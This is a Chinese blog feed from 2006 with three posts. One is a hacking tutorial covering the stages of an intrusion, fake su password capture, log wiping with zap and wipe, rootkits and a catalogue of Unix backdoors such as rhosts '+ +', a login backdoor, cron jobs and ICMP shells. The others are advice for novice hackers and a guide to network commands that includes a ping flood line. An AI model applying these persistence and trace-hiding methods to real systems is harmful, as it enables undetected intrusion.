<p>　　对于一般的常用入侵方法主要有 </p><p>　　1.口令入侵 </p><p>　　所谓口令入侵，就是指用一些软件解开已经得到但被人加密的口令文档，不过许多黑客已大量采用一种可以绕开或屏蔽口令保护的程序来完成这项工作。对于那些可以解开或屏蔽口令保护的程序通常被称为“Crack”。由于这些软件的广为流传，使得入侵电脑网络系统有时变得相当简单，一般不需要很深入了解系统的内部结构，是初学者的好方法。 </p><p>　　2.特洛伊木马术 </p><p>　　说到特洛伊木马，只要知道这个故事的人就不难理解，它最典型的做法可能就是把一个能帮助黑客完成某一特定动作的程序依附在某一合法用户的正常程序中，这时合法用户的程序代码已被该变。一旦用户触发该程序，那么依附在内的黑客指令代码同时被激活，这些代码往往能完成黑客指定的任务。由于这种入侵法需要黑客有很好的编程经验，且要更改代码、要一定的权限，所以较难掌握。但正因为它的复杂性，一般的系统管理员很难发现。 </p><p>　　3.监听法 </p><p>　　这是一个很实用但风险也很大的黑客入侵方法，但还是有很多入侵系统的黑客采用此类方法，正所谓艺高人胆大。 </p><p>　　网络节点或工作站之间的交流是通过信息流的转送得以实现，而当在一个没有集线器的网络中，数据的传输并没有指明特定的方向，这时每一个网络节点或工作站都是一个接口。这就好比某一节点说：“嗨！你们中有谁是我要发信息的工作站。” </p><p>　　此时，所有的系统接口都收到了这个信息，一旦某个工作站说：“嗨！那是我，请把数据传过来。”联接就马上完成。 </p><p>　　目前有网络上流传着很多嗅探软件，利用这些软件就可以很简单的监听到数据，甚至就包含口令文件，有的服务在传输文件中直接使用明文传输，这也是非常危险的。 </p><p>4.E-mail技术 </p><p>　　使用email加木马程序这是黑客经常使用的一种手段，而且非常奏效，一般的用户，甚至是网管，对网络安全的意识太过于淡薄，这就给很多黑客以可乘之机。 </p><p>　　5.病毒技术 </p><p>　　作为一个黑客，如此使用应该是一件可耻的事情，不过大家可以学习，毕竟也是一种攻击的办法，特殊时间，特殊地点完全可以使用。 </p><p>　　6.隐藏技术 <br /></p><p>网络攻击的一般步骤及实例 </p><p>　　攻击的准备阶段 </p><p>　　首先需要说明的是，入侵者的来源有两种，一种是内部人员利用自己的工作机会和权限来获取不应该获取的权限而进行的攻击。另一种是外部人员入侵，包括远程入侵、网络节点接入入侵等。本节主要讨论远程攻击。 </p><p>　　进行网络攻击是一件系统性很强的工作，其主要工作流程是：收集情报，远程攻击，远程登录，取得普通用户的权限，取得超级用户的权限，留下后门，清除日志。主要内容包括目标分析，文档获取，破解密码，日志清除等技术，下面分别介绍。 </p><p>　　1.确定攻击的目的 </p><p>　　攻击者在进行一次完整的攻击之前首先要确定攻击要达到什么样的目的，即给对方造成什么样的后果。常见的攻击目的有破坏型和入侵型两种。破坏型攻击指的只是破坏攻击目标，使其不能正常工作，而不能随意控制目标的系统的运行。要达到破坏型攻击的目的，主要的手段是拒绝服务攻击（Denial Of Service）。另一类常见的攻击目的是入侵攻击目标，这种攻击是要获得一定的权限来达到控制攻击目标的目的。应该说这种攻击比破坏型攻击更为普遍，威胁性也更大。因为黑客一旦获取攻击目标的管理员权限就可以对此服务器做任意动作，包括破坏性的攻击。此类攻击一般也是利用服务器操作系统、应用软件或者网络协议存在的漏洞进行的。当然还有另一种造成此种攻击的原因就是密码泄露，攻击者靠猜测或者穷举法来得到服务器用户的密码，然后就可以用和真正的管理员一样对服务器进行访问。 </p><p>　　2.信息收集 </p><p>　　除了确定攻击目的之外，攻击前的最主要工作就是收集尽量多的关于攻击目标的信息。这些信息主要包括目标的操作系统类型及版本，目标提供哪些服务，各服务器程序的类型与版本以及相关的社会信息。 </p><p>　　要攻击一台机器，首先要确定它上面正在运行的操作系统是什么，因为对于不同类型的操作系统，其上的系统漏洞有很大区别，所以攻击的方法也完全不同，甚至同一种操作系统的不同版本的系统漏洞也是不一样的。要确定一台服务器的操作系统一般是靠经验，有些服务器的某些服务显示信息会泄露其操作系统。例如当我们通过TELNET连上一台机器时，如果显示 </p><p>　　Unix（r）System V Release 4．0 <br />　　login： </p><p>　　那么根据经验就可以确定这个机器上运行的操作系统为SUN OS 5．5或5．5．l。但这样确定操作系统类型是不准确的，因为有些网站管理员为了迷惑攻击者会故意更改显示信息，造成假象。 </p><p>　还有一种不是很有效的方法，诸如查询DNS的主机信息（不是很可靠）来看登记域名时的申请机器类型和操作系统类型，或者使用社会工程学的方法来获得，以及利用某些主机开放的SNMP的公共组来查询。 </p><p>　　另外一种相对比较准确的方法是利用网络操作系统里的TCP/IP堆栈作为特殊的“指纹”来确定系统的真正身份。因为不同的操作系统在网络底层协议的各种实现细节上略有不同。可以通过远程向目标发送特殊的包，然后通过返回的包来确定操作系统类型。例如通过向目标机发送一个FIN的包（或者是任何没有ACK或SYN标记的包）到目标主机的一个开放的端口然后等待回应。许多系统如windows、 BSDI、 CISCO、 HP／UX和 IRIX会返回一个RESET。通过发送一个SYN包，它含有没有定义的TCP标记的TCP头。那么在Linux系统的回应包就会包含这个没有定义的标记，而在一些别的系统则会在收到SYN+BOGU包之后关闭连接。或是利用寻找初始化序列长度模板与特定的操作系统相匹配的方法。利用它可以对许多系统分类，如较早的Unix系统是64K长度，一些新的Unix系统的长度则是随机增长。还有就是检查返回包里包含的窗口长度，这项技术根据各个操作系统的不同的初始化窗口大小来唯一确定它们。利用这种技术实现的工具很多，比较著名的有NMAP、CHECKOS、QUESO等。 </p><p>　　获知目标提供哪些服务及各服务daemon的类型、版本同样非常重要，因为已知的漏洞一般都是对某一服务的。这里说的提供服务就是指通常我们提到的喘口，例如一般TELNET在23端口，FTP在对21端口，WWW在80端口或8080端口，这只是一般情况，网站管理完全可以按自己的意愿修改服务所监听的端口号。在不同服务器上提供同一种服务的软件也可以是不同，我们管这种软件叫做daemon，例如同样是提供FTP服务，可以使用wuftp、proftp，ncftp等许多不同种类的daemon。确定daemon的类型版本也有助于黑客利用系统漏洞攻破网站。 </p><p>　　另外需要获得的关于系统的信息就是一些与计算机本身没有关系的社会信息，例如网站所属公司的名称、规模，网络管理员的生活习惯、电话号码等。这些信息看起来与攻击一个网站没有关系，实际上很多黑客都是利用了这类信息攻破网站的。例如有些网站管理员用自己的电话号码做系统密码，如果掌握了该电话号码，就等于掌握了管理员权限进行信息收集可以用手工进行，也可以利用工具来完成，完成信息收集的工具叫做扫描器。用扫描器收集信息的优点是速度快，可以一次对多个目标进行扫描。<br /></p><p>攻击的实施阶段 </p><p>　　1.获得权限 </p><p>　　当收集到足够的信息之后，攻击者就要开始实施攻击行动了。作为破坏性攻击，只需利用工具发动攻击即可。而作为入侵性攻击，往往要利用收集到的信息，找到其系统漏洞，然后利用该漏洞获取一定的权限。有时获得了一般用户的权限就足以达到修改主页等目的了，但作为一次完整的攻击是要获得系统最高权限的，这不仅是为了达到一定的目的，更重要的是证明攻击者的能力，这也符合黑客的追求。 </p><p>　　能够被攻击者所利用的漏洞不仅包括系统软件设计上的安全漏洞，也包括由于管理配置不当而造成的漏洞。前不久，因特网上应用最普及的著名www服务器提供商Apache的主页被黑客攻破，其主页面上的 Powered by Apache图样（羽毛状的图画）被改成了Powered by　Microsoft Backoffice的图样，那个攻击者就是利用了管理员对Webserver用数据库的一些不当配置而成功取得最高权限的。 </p><p>　　当然大多数攻击成功的范例还是利用了系统软件本身的漏洞。造成软件漏洞的主要原因在于编制该软件的程序员缺乏安全意识。当攻击者对软件进行非正常的调用请求时造成缓冲区溢出或者对文件的非法访问。其中利用缓冲区溢出进行的攻击最为普遍，据统计80％以上成功的攻击都是利用了缓冲区溢出漏洞来获得非法权限的。关于缓冲区溢出在后面用专门章节来作详细解释。 </p><p>　　无论作为一个黑客还是一个网络管理员，都需要掌握尽量多的系统漏洞。黑客需要用它来完成攻击，而管理员需要根据不同的漏洞来进行不同的防御措施。了解最新最多的漏洞信息，可以到诸如Rootshell（<a href="http://www.rootshell/"><font color="#000080">www.rootshell</font></a>．com）、Packetstorm（packetstorm．securify．com）、Securityfocus（<a href="http://www.securityfocus/"><font color="#000080">www.securityfocus</font></a>．com）等网站去查找。 </p><p>　　2.权限的扩大 </p><p>　　系统漏洞分为远程漏洞和本地漏洞两种，远程漏洞是指黑客可以在别的机器上直接利用该漏洞进行攻击并获取一定的权限。这种漏洞的威胁性相当大，黑客的攻击一般都是从远程漏洞开始的。但是利用远程漏洞获取的不一定是最高权限，而往往只是一个普通用户的权限，这样常常没有办法做黑客们想要做的事。这时就需要配合本地漏洞来把获得的权限进行扩大，常常是扩大至系统的管理员权限。 </p><p>　　只有获得了最高的管理员权限之后，才可以做诸如网络监听、打扫痕迹之类的事情。要完成权限的扩大，不但可以利用已获得的权限在系统上执行利用本地漏洞的程序，还可以放一些木马之类的欺骗程序来套取管理员密码，这种木马是放在本地套取最高权限用的，而不能进行远程控制。例如一个黑客已经在一台机器上获得了一个普通用户的账号和登录权限，那么他就可以在这台机器上放置一个假的su程序。一旦黑客放置了假su程序，当真正的合法用户登录时，运行了su，并输入了密码，这时root密码就会被记录下来，下次黑客再登录时就可以使用su变成root了</p><p>攻击的善后工作 </p><p>　　1.日志系统简介 </p><p>　　如果攻击者完成攻击后就立刻离开系统而不做任何善后工作，那么他的行踪将很快被系统管理员发现，因为所有的网络操作系统一般都提供日志记录功能，会把系统上发生的动作记录下来。所以，为了自身的隐蔽性，黑客一般都会抹掉自己在日志中留下的痕迹。想要了解黑客抹掉痕迹的方法，首先要了解常见的操作系统的日志结构以及工作方式。Unix的日志文件通常放在下面这几个位置，根据操作系统的不同略有变化 </p><p>　　／usr／adm——早期版本的Unix。 <br />　　／Var／adm新一点的版本使用这个位置。 <br />　　／Varflort一些版本的Solaris、 Linux BSD、 Free BSD使用这个位置。 <br />　　／etc，大多数Unix版本把Utmp放在此处，一些Unix版本也把Wtmp放在这里，这也是Syslog．conf的位置。 </p><p>　　下面的文件可能会根据你所在的目录不同而不同： </p><p>　　acct或pacct－一记录每个用户使用的命令记录。 <br />　　accesslog主要用来服务器运行了NCSA HTTP服务器，这个记录文件会记录有什么站点连接过你的服务器。 <br />　　aculo保存拨出去的Modems记录。 <br />　　lastlog记录了最近的Login记录和每个用户的最初目的地，有时是最后不成功Login的记录。 <br />　　loginlog一记录一些不正常的L0gin记录。 <br />　　messages——记录输出到系统控制台的记录，另外的信息由Syslog来生成 <br />　　security记录一些使用 UUCP系统企图进入限制范围的事例。 <br />　　sulog记录使用su命令的记录。 <br />　　utmp记录当前登录到系统中的所有用户，这个文件伴随着用户进入和离开系统而不断变化。 <br />　　Utmpx，utmp的扩展。 <br />　　wtmp记录用户登录和退出事件。 <br />　　Syslog最重要的日志文件，使用syslogd守护程序来获得。 </p><p>　　2.隐藏踪迹 </p><p>　　攻击者在获得系统最高管理员权限之后就可以随意修改系统上的文件了（只对常规 Unix系统而言），包括日志文件，所以一般黑客想要隐藏自己的踪迹的话，就会对日志进行修改。最简单的方法当然就是删除日志文件了，但这样做虽然避免了系统管理员根据IP追踪到自己，但也明确无误地告诉了管理员，系统己经被人侵了。所以最常用的办法是只对日志文件中有关自己的那一部分做修改。关于修改方法的具体细节根据不同的操作系统有所区别，网络上有许多此类功能的程序，例如 zap、 wipe等，其主要做法就是清除 utmp、wtmp、Lastlog和 Pacct等日志文件中某一用户的信息，使得当使用w、who、last等命令查看日志文件时，隐藏掉此用户的信息。 </p><p>管理员想要避免日志系统被黑客修改，应该采取一定的措施，例如用打印机实时记录网络日志信息。但这样做也有弊端，黑客一旦了解到你的做法就会不停地向日志里写入无用的信息，使得打印机不停地打印日志，直到所有的纸用光为止。所以比较好的避免日志被修改的办法是把所有日志文件发送到一台比较安全的主机上，即使用loghost。即使是这样也不能完全避免日志被修改的可能性，因为黑客既然能攻入这台主机，也很可能攻入loghost。 </p><p>　　只修改日志是不够的，因为百密必有一漏，即使自认为修改了所有的日志，仍然会留下一些蛛丝马迹的。例如安装了某些后门程序，运行后也可能被管理员发现。所以，黑客高手可以通过替换一些系统程序的方法来进一步隐藏踪迹。这种用来替换正常系统程序的黑客程序叫做rootkit，这类程序在一些黑客网站可以找到，比较常见的有LinuxRootKit，现在已经发展到了5.0版本了。它可以替换系统的ls、ps、netstat、inetd等等一系列重要的系统程序，当替换了ls后，就可以隐藏指定的文件，使得管理员在使用ls命令时无法看到这些文件，从而达到隐藏自己的目的。 </p><p>3.后门 </p><p>　　 一般黑客都会在攻入系统后不只一次地进入该系统。为了下次再进入系统时方便一点，黑客会留下一个后门，特洛伊木马就是后门的最好范例。Unix中留后门的方法有很多种，下面介绍几种常见的后门，供网络管理员参考防范。 </p><p>　　&lt;1&gt;密码破解后门 <br />　　这是入侵者使用的最早也是最老的方法，它不仅可以获得对Unix机器的访问，而且可 以通过破解密码制造后门。这就是破解口令薄弱的帐号。以后即使管理员封了入侵者的当前帐号，这些新的帐号仍然可能是重新侵入的后门。多数情况下，入侵者寻找口令薄弱的未使用帐号，然后将口令改的难些。当管理员寻找口令薄弱的帐号是，也不会发现这些密码已修改的帐号。因而管理员很难确定查封哪个帐号。 </p><p>　　&lt;2&gt;Rhosts + + 后门 <br />　　在连网的Unix机器中，象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简 单的认证方法。用户可以轻易的改变设置而不需口令就能进入。 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +"，就可以允许任何人从任何地方无须口令便能进 入这个帐号。特别当home目录通过NFS向外共享时，入侵者更热中于此。这些帐号也成 了入侵者再次侵入的后门。许多人更喜欢使用Rsh，因为它通常缺少日志能力. 许多管理员经常检查 "+ +"，所以入侵者实际上多设置来自网上的另一个帐号的主机名和 用户名，从而不易被发现。 </p><p>　　&lt;3&gt;校验和及时间戳后门 <br />　　早期，许多入侵者用自己的trojan程序替代二进制文件。系统管理员便依靠时间戳和系 统校验和的程序辨别一个二进制文件是否已被改变，如Unix里的sum程序。入侵者又发展了使trojan文件和原文件时间戳同步的新技术。它是这样实现的: 先将系统时钟拨 回到原文件时间，然后调整trojan文件的时间为系统时间。一旦二进制trojan文件与 原来的精确同步，就可以把系统时间设回当前时间。Sum程序是基于CRC校验，很容易 骗过。入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序。MD5是被 大多数人推荐的，MD5使用的算法目前还没人能骗过。 </p><p>　　&lt;4&gt;Login后门 <br />　　在Unix里，login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的 原代码并修改，使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门 口令，它将忽视管理员设置的口令让你长驱直入。这将允许入侵者进入任何帐号，甚至 是root。由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问 的，所以入侵者可以登录获取shell却不会暴露该帐号。管理员注意到这种后门后，便 用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露。入侵者就开始加密或者更好的隐藏口令，使strings命令失效. 所以更多的管理员是 用MD5校验和检测这种后门的。 </p><p>&lt;5&gt;Telnetd后门 <br />　　当用户telnet到系统，监听端口的inetd服务接受连接随后递给in.telnetd，由它运行 login.一些入侵者知道管理员会检查login是否被修改，就着手修改in.telnetd. 在in.telnetd内部有一些对用户信息的检验，比如用户使用了何种终端. 典型的终端 设置是Xterm或者VT100.入侵者可以做这样的后门，当终端设置为"letmein"时产生一 个不要任何验证的shell. 入侵者已对某些服务作了后门，对来自特定源端口的连接产 生一个shell。 </p><p>　　&lt;6&gt;服务后门 <br />　　几乎所有网络服务曾被入侵者作过后门. Finger，rsh，rexec，rlogin，ftp，甚至 inetd等等的作了的版本随处多是。有的只是连接到某个TCP端口的shell，通过后门口令就能获取访问。这些程序有时用刺娲□？Ucp这样不用的服务，或者被加入inetd.conf 作为一个新的服务，管理员应该非常注意那些服务正在运行，并用MD5对原服务程序做校验。 </p><p>　　&lt;7&gt;Cronjob后门 <br />　　Unix上的Cronjob可以按时间表调度特定程序的运行。入侵者可以加入后门shell程序 使它在1AM到2AM之间运行，那么每晚有一个小时可以获得访问。也可以查看cronjob中 经常运行的合法程序，同时置入后门。<br /></p><p>&lt;8&gt;库后门 <br />　　几乎所有的UNIX系统使用共享库，共享库用于相同函数的重用而减少代码长度。一些入侵者在象crypt.c和_crypt.c这些函数里作了后门；象login.c这样的程序调用了 crypt()。当使用后门口令时产生一个shell。 因此，即使管理员用MD5检查login程序，仍然能产生一个后门函数，而且许多管理员并不会检查库是否被做了后门。对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验，有一种办法是入侵者对open()和文件访问函数做后门。后门函数读原文件但执行trojan后门程序。所以 当MD5读这些文件时，校验和一切正常，但当系统运行时将执行trojan版本的，即使trojan库本身也可躲过MD5校验，对于管理员来说有一种方法可以找到后门，就是静态编连MD5校验程序然后运行，静态连接程序不会使用trojan共享库。 </p><p>　　&lt;9&gt;内核后门 <br />　　内核是Unix工作的核心，用于库躲过MD5校验的方法同样适用于内核级别，甚至连静态 连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的，所幸的是内核的 后门程序还不是随手可得，每人知道它事实上传播有多广。 </p><p>　　&lt;10&gt;文件系统后门 <br />　　入侵者需要在服务器上存储他们的掠夺品或数据，并不能被管理员发现，入侵者的文章常是包括exploit脚本工具，后门集，sniffer日志，email的备分，原代码，等等！有时为了防止管理员发现这么大的文件，入侵者需要修补"ls"，"du"，"fsck"以隐匿特定的目录和文件，在很低的级别，入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分，且表示为坏的扇区。因此入侵者只能用特别的工具访问这些隐藏的文件，对于普通的管理员来说，很难发现这些"坏扇区"里的文件系统，而它又确实存在。 </p><p>　　&lt;11&gt;Boot块后门 <br />　　在PC世界里，许多病毒藏匿与根区，而杀病毒软件就是检查根区是否被改变。Unix下，多数管理员没有检查根区的软件，所以一些入侵者将一些后门留在根区。 </p><p>&lt;12&gt;隐匿进程后门 <br />　　入侵者通常想隐匿他们运行的程序，这样的程序一般是口令破解程序和监听程序 (sniffer)，有许多办法可以实现，这里是较通用的: 编写程序时修改自己的argv[] 使它看起来象其他进程名。可以将sniffer程序改名类似in.syslog再执行，因此 当管理员用"ps"检查运行进程时，出现 的是标准服务名。可以修改库函数致使 "ps"不能显示所有进程，可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现。使用这个技术的一个后门例子是 </p><p>　　amod.tar.gz : <br />　　<a href="http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html"><font color="#000080">http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html</font></a>网络通行. 这些网络通行后 门有时允许入侵者通过防火墙进行访问。有许多网络后门程序允许入侵者建立某个端 口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行，管理 员可能忽视入侵者的足迹. 这种后门通常使用TCP，UDP和ICMP，但也可能是其他类型报文。 </p><p>　　&lt;14&gt;TCP Shell 后门 <br />　　入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下，他 们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat 命令查看当前的连接状态，那些端口在侦听，目前连接的来龙去脉. 通常这些后门可 以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口，许多防火墙允许 e-mail通行的. </p><p>　　&lt;15&gt;UDP Shell 后门 <br />　　管理员经常注意TCP连接并观察其怪异情况，而UDP Shell后门没有这样的连接，所以 netstat不能显示入侵者的访问痕迹，许多防火墙设置成允许类似DNS的UDP报文的通行，通常入侵者将UDP Shell放置在这个端口，允许穿越防火墙。 </p><p>　　&lt;16&gt;ICMP Shell 后门 <br />　　Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一。许多防火墙允许外界ping它内部的机器，入侵者可以放数据入Ping的ICMP包，在ping的机器间形成一个shell通道，管理员也许会注意到Ping包暴风，但除了他查看包内数据，否者入侵者不会暴露。 </p><p>　　&lt;17&gt;加密连接 <br />　　管理员可能建立一个sniffer试图某个访问的数据，但当入侵者给网络通行后门加密 后，就不可能被判定两台机器间的传输内容了<br /></p><img src ="http://www.cppblog.com/cqyangjf/aggbug/14853.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-08 17:23 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/08/14853.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>想学到真正的黑客技术？进来看看!</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14851.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 08 Nov 2006 09:22:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14851.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14851.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14851.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14851.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14851.html</trackback:ping><description><![CDATA[我虽然是个小菜鸟！但是还是要劝告刚刚接触网络的人<br />1，不要研究QQ，毕竟QQ不是技术，盗了几个号又算什么？程序不是自己编写的，没什么值得骄傲的.<br />2，不要研究怎么破解网吧，难道不觉得：一般关于破解网吧的帖子都很少人回复的么？<br />3，研究一些系统知识，比如windows什么版本和什么版本有什么区别……<br />4，研究组策略，研究注册表，研究CMD，研究ASP，研究PHP，研究JAVA……<br />5，经常来BBS闲逛，例如X，黑防……<br />6，不要以为扫到**主机的**端口开放就可以利用什么，微软不是傻的！<br />7，尽量不要吧时间浪费在暴力破解上，因为机会很渺茫！无路可走时才可以用用。<br />8，不要认为黑客就是非法入侵，就是盗QQ，盗帐号。<br />9，祖国需要计算机人才，而不需要盗帐号的高手。<br />10，不要奢望有什么快速的途径学习技术，欲速则不达！没有丰富的经验是没有办法提高的。<br /><br />如果说错什么，大家都可以指出来～！<br /><br />对学习技术的一些建议(按顺序去学)：<br />1，认真看看过去的入侵实例（如IPC入侵，输入法漏洞），这样可以好好研究windows基础。<br />2，学好注册表，因为注册表是windows的数据库,windows相关的数据都在那。<br />3，多少学些编程，basic都可以,目的是做好基础,了解了解什么是编程。<br />4，看看一些溢出工具编写的教程(不是让你去写,而是让你了解溢出的真正原理),明白原理之后自己用虚拟机实践一下溢出。<br />5，有了编程的经验后，就可以看看sql注入攻击了，并且要学习怎么使用NBSI.<br /><br />学好了这些，基本上就算入门了，想真正提高，只有努力学好编程，不要认为编程离我们很远……也许你会认为用别人的工具也不错,但是不会编程,就永远发现不了windows的系统漏洞,老是使用公布过的漏洞利用程序,想提高还真难啊.<br /><br />再给一个建议........做一个虚拟机,独立安装一个2000的系统(版本越老越好),然后尽量完善那个系统,看看自己能不能成功入侵(这是积累经验的办法).<br /><br />这篇帖子没有知识,只是提供一个方向.学技术需要时间,心急是万万不可Di~~~<br /><br />我的电脑里有数千个资料文件,都是网上找的.所以我再再建议...:经常逛逛下载站,找找相关资料,并且下载,还有经常去技术blog,把有用的复制保存下来,多少浏览一遍,感兴趣的就认真看(还要用本子记下<u><b>有用的资料</b></u>),不感兴趣的就扫一遍.<br />这个方法其实比你买&lt;X&gt;学技术还要快.<br /><br />好多人问为什么我老是菜鸟,想知道答案?该学的东西你没去认真的学,不该学的你又浪费时间在钻研,当然提高不了了!<br /><br /><b>附:什么是有用的资料(例如:windows2000的日志存放处,VPN开启的必须条件,windows_HOME版本的XP不支持"用户与组"功能和没有IIS......)</b><br /><img src ="http://www.cppblog.com/cqyangjf/aggbug/14851.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-08 17:22 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/08/14851.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>初级黑客安全技术命令详解</title><link>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14852.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Wed, 08 Nov 2006 09:22:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14852.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/14852.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/11/08/14852.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/14852.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/14852.html</trackback:ping><description><![CDATA[要想做一名真正的黑客，仅仅依靠网络流传的黑软进行扫描或者攻击是没有用的，这样永远不可能成长为一名真正的黑客，大家需要注意的是，平时还得注意积累，这次笔者就简单的 为大家介绍一些系统命令，对于初学的菜鸟绝对是必修课之一。 
<p>　　对了，再说两句废话吧，“工欲善其事，必先利其器”——当然不是让你再满世界去找新的黑客软件啦（其实我不反对使用这些软件，相反我很喜欢用它们，但是必须是在知其所以然的情况下使用，才有可能对自身的电脑水平有所帮助），要进行入侵工作的话，至少（我认为）得装上NT操作系统，以它作为入侵平台，因为NT本身对网络的支持可以说比WIN9X来得更强大得多……当然，如果想对UNIX系统动点小手术（网络中的UNIX可始终还是主流呀）而又没钱装UNIX的话，LINUX也极佳的选择（特别是现在国内至少有七八种中文LINUX版本——想当年要给REDHAT配上中文支持是何等麻烦……），至少你可以借此了解UNIX系统的基本操作以及文件存放位置、系统配置、编译器、各种动作之后的记录等等…… </p><p>　　然后还得再学点编程语言，至少C与UNIX下的SHELL编程得会一点，能看懂人家写的利用各种漏洞的程序，能对它进行修改，偶尔还能写几个小程序放到网上让大伙儿乐乐，这样玩起来才可能有成就感（其实我自己还不太行，但这多少是个目标） </p><p>　　好了，废话少说，先讲讲一些M$系统里自带的相关网络程序的使用吧。 </p><p>在M$的操作系统中，与网络安全较有关系的几个命令/程序是：ping\winipcfg\tracert\net\at\netstat,且待我慢慢道来: </p><p>1. ping：这是TCP/IP协议中最有用的命令之一 </p><p>　　它给另一个系统发送一系列的数据包，该系统本身又发回一个响应，这条实用程序对查找远程主机很有用，它返回的结果表示是否能到达主机，宿主机发送一个返回数据包需要多长时间。 </p><p>Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS] <br />[-r count] [-s count] [[-j host-list] | [-k host-list]] <br />[-w timeout] destination-list </p><p>Options: <br />-t Ping the specifed host until interrupted.（除非人为中止，否则一直ping下去） <br />-a Resolve addresses to hostnames.（把IP转为主机名） <br />-n count Number of echo requests to send.（响应请求的数量） <br />-l size Send buffer size.（封包的大小） <br />-f Set Don't Fragment flag in packet.（信息包中无碎片） <br />-i TTL Time To Live.（时间） <br />-v TOS Type Of Service.（服务类型） <br />-r count Record route for count hops. <br />-s count Timestamp for count hops. <br />-j host-list Loose source route along host-list. <br />-k host-list Strict source route along host-list.（较严格的……唉，怎么译好……算了，放着吧） <br />-w timeout Timeout in milliseconds to wait for each reply.(timeout的时间） </p><p>　　比如大家可能都知道的一个命令 # ping -f -s 65000 ***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令（当然这样只会造成我方自己的网络阻塞）。 </p><p>　　其实这个命令主要是用来看对方应答的速度，如果怎么ping 得到的结果都是request time out。那恐怕你根本就不用你去找这台主机了，它不在你的射程之内。 </p><p>2. winipcfg: </p><p>　　这是用来看自己IP位址的小<font color="#002c99">工具</font>，win98自带，NT里则网络监视器里就能看到IP了，还有个小实用程序叫……好象是叫IPCONFIG吧，没怎么用，都快忘了……这种东东网上其实相当之多，但既然“自带”，又何须外求，何况网上下载的黑客的东东里有没有特洛伊犹未可知，再说了，如果你不是在自己的“爱姬”上运行，岂不是就没法干活？——哈，不好意思，跑题了，但——接着跑两句：可以把一些常用的、经典的<font color="#002c99">工具</font>上传到网上，当作一个备份，什么时候在<font color="#002c99">网吧</font>、某家公司要干活的话，直接下载就是一个完整无缺的<font color="#002c99">工具</font>包了。 </p><p><br />这个东东相当简单，直接在DOS下键入命令就是了，没有什么参数。 </p><p>　　3. tracert:是验证通往远程主机路径的实用程序 </p><p>　　用法: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name </p><p>　　参数: </p><p>　　-d Do not resolve addresses to hostnames.（不将IP转为主机名） <br />　　 -h maximum_hops Maximum number of hops to search for target.（最大跟踪数量） <br />　　 -j host-list Loose source route along host-list. <br />　　 -w timeout Wait timeout milliseconds for each reply.（time out 的时间） </p><p>　　最简单的用法就是 tracert hostname 其中hostname是<font color="#002c99">计算机</font>名或你想跟踪其路径的<font color="#002c99">计算机</font>的IP地址。TRACERT将返回数据包借以到达最终目的地的各种IP地址，你知道该怎么利用它吗？ </p><p>　　我略为解释一下吧：跟踪通往210.142.192.130的路由，最大30: <br />　　 第一行：*&amp;^%&amp;* 我就是从这里出去的（呵，真不想说^&amp;^) <br />　　 第四行：是不是快要出国了呢？ <br />　　 第九行：呀！这是日本鬼子的地盘…… </p><p>　　4. net:这可是个非常棒的东西，如果不会用的话，赶紧睁大眼睛噢 </p><p>初级黑客安全<font color="#002c99">技术</font>命令详解（2） <br />　　这个命令的语法是: 可用的命令包括： </p><p>NET ACCOUNTS NET HELP NET SHARE <br />NET COMPUTER NET HELPMSG NET START <br />NET CONFIG NET LOCALGROUP NET STATISTICS <br />NET CONFIG SERVER NET NAME NET STOP <br />NET CONFIG WORKSTATION NET PAUSE NET TIME <br />NET CONTINUE NET PRINT NET USE <br />NET FILE NET SEND NET USER <br />NET GROUP NET SESSION NET VIEW </p><p>NET HELP SERVICES 列出用户可以启动的网络<font color="#002c99">服务</font>。 <br />NET HELP SYNTAX 解释如何阅读 NET HELP 语法行。 <br />NET HELP command | MORE 用于逐屏显示帮助。 </p><p>　　我可就不逐样解释了——这样会把我的手指累坏，就说说常用的两个命令吧 </p><p>a.net view 